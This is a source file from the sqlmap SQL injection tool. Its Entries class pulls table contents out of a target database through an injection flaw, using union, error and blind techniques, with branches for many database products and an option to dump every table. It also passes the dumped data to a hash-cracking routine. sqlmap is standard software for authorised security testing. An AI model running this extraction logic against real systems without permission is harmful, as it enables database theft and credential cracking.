sqlmap/plugins/generic/entries.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.agent import agent
from lib.core.bigarray import BigArray
from lib.core.common import Backend
from lib.core.common import clearConsoleLine
from lib.core.common import getLimitRange
from lib.core.common import getSafeExString
from lib.core.common import isInferenceAvailable
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import prioritySortColumns
from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.convert import getConsoleLength
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dicts import DUMP_REPLACEMENTS
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
from lib.core.settings import CURRENT_DB
from lib.core.settings import METADB_SUFFIX
from lib.core.settings import NULL
from lib.core.settings import PLUS_ONE_DBMSES
from lib.core.settings import UPPER_CASE_DBMSES
from lib.request import inject
from lib.utils.hash import attackDumpedTable
from lib.utils.pivotdumptable import pivotDumpTable
from thirdparty import six
from thirdparty.six.moves import zip as _zip

class Entries(object):
    """
    This class defines entries' enumeration functionalities for plugins.
    """

    def __init__(self):
        pass

    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

            if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None:
                infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                singleTimeLogMessage(infoMsg)
                return

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = list(six.itervalues(kb.data.cachedTables))

                if tblList and isListLike(tblList[0]):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            if kb.dumpKeyboardInterrupt:
                break

            if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None:
                infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                singleTimeLogMessage(infoMsg)
                continue

            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                if Backend.isDbms(DBMS.INFORMIX):
                    kb.dumpTable = "%s:%s" % (conf.db, tbl)
                elif Backend.isDbms(DBMS.SQLITE):
                    kb.dumpTable = tbl
                else:
                    kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                    if METADB_SUFFIX not in conf.db:
                        warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(column for column in columns if column)

                if conf.exclude:
                    colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]

                if not colList:
                    warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                    if METADB_SUFFIX not in conf.db:
                        warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += " (no usable column names)"
                    logger.warn(warnMsg)
                    continue

                kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
                colNames = colString = ','.join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colNames
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                if METADB_SUFFIX not in conf.db:
                    infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString)

                entriesCount = 0

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                        query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                                warnMsg = "in case of table dumping problems (e.g. column entry order) "
                                warnMsg += "you are advised to rerun with '--force-pivoting'"
                                singleTimeWarnMessage(warnMsg)

                                query = rootQuery.blind.count % table
                                query = agent.whereQuery(query)

                                count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                                if isNumPosStrValue(count):
                                    try:
                                        indexRange = getLimitRange(count, plusOne=True)

                                        for index in indexRange:
                                            row = []
                                            for column in colList:
                                                query = rootQuery.blind.query3 % (column, column, table, index)
                                                query = agent.whereQuery(query)
                                                value = inject.getValue(query, blind=False, time=False, dump=True) or ""
                                                row.append(value)

                                            if not entries and isNoneValue(row):
                                                break

                                            entries.append(row)

                                    except KeyboardInterrupt:
                                        kb.dumpKeyboardInterrupt = True
                                        clearConsoleLine()
                                        warnMsg = "Ctrl+C detected in dumping phase"
                                        logger.warn(warnMsg)

                            if isNoneValue(entries) and not kb.dumpKeyboardInterrupt:
                                try:
                                    retVal = pivotDumpTable(table, colList, blind=False)
                                except KeyboardInterrupt:
                                    retVal = None
                                    kb.dumpKeyboardInterrupt = True
                                    clearConsoleLine()
                                    warnMsg = "Ctrl+C detected in dumping phase"
                                    logger.warn(warnMsg)

                                if retVal:
                                    entries, _ = retVal
                                    entries = BigArray(_zip(*[entries[colName] for colName in colList]))
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO):
                        query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db, tbl)

                    query = agent.whereQuery(query)

                    if not entries and query and not kb.dumpKeyboardInterrupt:
                        try:
                            entries = inject.getValue(query, blind=False, time=False, dump=True)
                        except KeyboardInterrupt:
                            entries = None
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    if not isNoneValue(entries):
                        if isinstance(entries, six.string_types):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()}

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, six.string_types):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

                                maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))

                                if maxLen > kb.data.dumpedTable[column]["length"]:
                                    kb.data.dumpedTable[column]["length"] = maxLen

                                kb.data.dumpedTable[column]["values"].append(colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colNames
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                        query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.count % (conf.db, tbl)
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = agent.whereQuery(query)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colNames
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA):
                        if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            table = "%s:%s" % (conf.db, tbl)

                        if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                            warnMsg = "in case of table dumping problems (e.g. column entry order) "
                            warnMsg += "you are advised to rerun with '--force-pivoting'"
                            singleTimeWarnMessage(warnMsg)

                            try:
                                indexRange = getLimitRange(count, plusOne=True)

                                for index in indexRange:
                                    for column in colList:
                                        query = rootQuery.blind.query3 % (column, column, table, index)
                                        query = agent.whereQuery(query)

                                        value = inject.getValue(query, union=False, error=False, dump=True) or ""

                                        if column not in lengths:
                                            lengths[column] = 0

                                        if column not in entries:
                                            entries[column] = BigArray()

                                        lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                        entries[column].append(value)

                            except KeyboardInterrupt:
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = "Ctrl+C detected in dumping phase"
                                logger.warn(warnMsg)

                        if not entries and not kb.dumpKeyboardInterrupt:
                            try:
                                retVal = pivotDumpTable(table, colList, count, blind=True)
                            except KeyboardInterrupt:
                                retVal = None
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = "Ctrl+C detected in dumping phase"
                                logger.warn(warnMsg)

                            if retVal:
                                entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            debugMsg = "checking for empty columns"
                            logger.debug(infoMsg)

                            for column in colList:
                                if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)):
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
                                    elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
                                    elif Backend.isDbms(DBMS.FRONTBASE):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
                                    else:
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)

                                    query = agent.whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

                                    lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colNames
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {"count": entriesCount,
                                                        "table": safeSQLIdentificatorNaming(tbl, True),
                                                        "db": safeSQLIdentificatorNaming(conf.db)}
                    try:
                        attackDumpedTable()
                    except (IOError, OSError) as ex:
                        errMsg = "an error occurred while attacking "
                        errMsg += "table dump ('%s')" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException as ex:
                errMsg = "connection exception detected in dumping phase "
                errMsg += "('%s')" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
                kb.dumpColumns = None
                kb.dumpTable = None

    def dumpAll(self):
        if conf.db is not None and conf.tbl is None:
            self.dumpTable()
            return

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            raise SqlmapUnsupportedFeatureException(errMsg)

        infoMsg = "sqlmap will dump entries of all tables from all databases now"
        logger.info(infoMsg)

        conf.tbl = None
        conf.col = None

        self.getTables()

        if kb.data.cachedTables:
            if isinstance(kb.data.cachedTables, list):
                kb.data.cachedTables = {None: kb.data.cachedTables}

            for db, tables in kb.data.cachedTables.items():
                conf.db = db

                for table in tables:
                    if conf.exclude and re.search(conf.exclude, table, re.I) is not None:
                        infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
                        logger.info(infoMsg)
                        continue

                    try:
                        conf.tbl = table
                        kb.data.cachedColumns = {}
                        kb.data.dumpedTable = {}

                        self.dumpTable()
                    except SqlmapNoneDataException:
                        infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
                        logger.info(infoMsg)

    def dumpFoundColumn(self, dbs, foundCols, colConsider):
        message = "do you want to dump found column(s) entries? [Y/n] "

        if not readInput(message, default='Y', boolean=True):
            return

        dumpFromDbs = []
        message = "which database(s)?\n[a]ll (default)\n"

        for db, tblData in dbs.items():
            if tblData:
                message += "[%s]\n" % unsafeSQLIdentificatorNaming(db)

        message += "[q]uit"
        choice = readInput(message, default='a')

        if not choice or choice in ('a', 'A'):
            dumpFromDbs = list(dbs.keys())
        elif choice in ('q', 'Q'):
            return
        else:
            dumpFromDbs = choice.replace(" ", "").split(',')

        for db, tblData in dbs.items():
            if db not in dumpFromDbs or not tblData:
                continue

            conf.db = db
            dumpFromTbls = []
            message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db)
            message += "[a]ll (default)\n"

            for tbl in tblData:
                message += "[%s]\n" % tbl

            message += "[s]kip\n"
            message += "[q]uit"
            choice = readInput(message, default='a')

            if not choice or choice in ('a', 'A'):
                dumpFromTbls = tblData
            elif choice in ('s', 'S'):
                continue
            elif choice in ('q', 'Q'):
                return
            else:
                dumpFromTbls = choice.replace(" ", "").split(',')

            for table, columns in tblData.items():
                if table not in dumpFromTbls:
                    continue

                conf.tbl = table
                colList = [_ for _ in columns if _]

                if conf.exclude:
                    colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]

                conf.col = ','.join(colList)
                kb.data.cachedColumns = {}
                kb.data.dumpedTable = {}

                data = self.dumpTable(dbs)

                if data:
                    conf.dumper.dbTableValues(data)

    def dumpFoundTables(self, tables):
        message = "do you want to dump found table(s) entries? [Y/n] "

        if not readInput(message, default='Y', boolean=True):
            return

        dumpFromDbs = []
        message = "which database(s)?\n[a]ll (default)\n"

        for db, tablesList in tables.items():
            if tablesList:
                message += "[%s]\n" % unsafeSQLIdentificatorNaming(db)

        message += "[q]uit"
        choice = readInput(message, default='a')

        if not choice or choice.lower() == 'a':
            dumpFromDbs = list(tables.keys())
        elif choice.lower() == 'q':
            return
        else:
            dumpFromDbs = choice.replace(" ", "").split(',')

        for db, tablesList in tables.items():
            if db not in dumpFromDbs or not tablesList:
                continue

            conf.db = db
            dumpFromTbls = []
            message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db)
            message += "[a]ll (default)\n"

            for tbl in tablesList:
                message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl)

            message += "[s]kip\n"
            message += "[q]uit"
            choice = readInput(message, default='a')

            if not choice or choice.lower() == 'a':
                dumpFromTbls = tablesList
            elif choice.lower() == 's':
                continue
            elif choice.lower() == 'q':
                return
            else:
                dumpFromTbls = choice.replace(" ", "").split(',')

            for table in dumpFromTbls:
                conf.tbl = table
                kb.data.cachedColumns = {}
                kb.data.dumpedTable = {}

                data = self.dumpTable()

                if data:
                    conf.dumper.dbTableValues(data)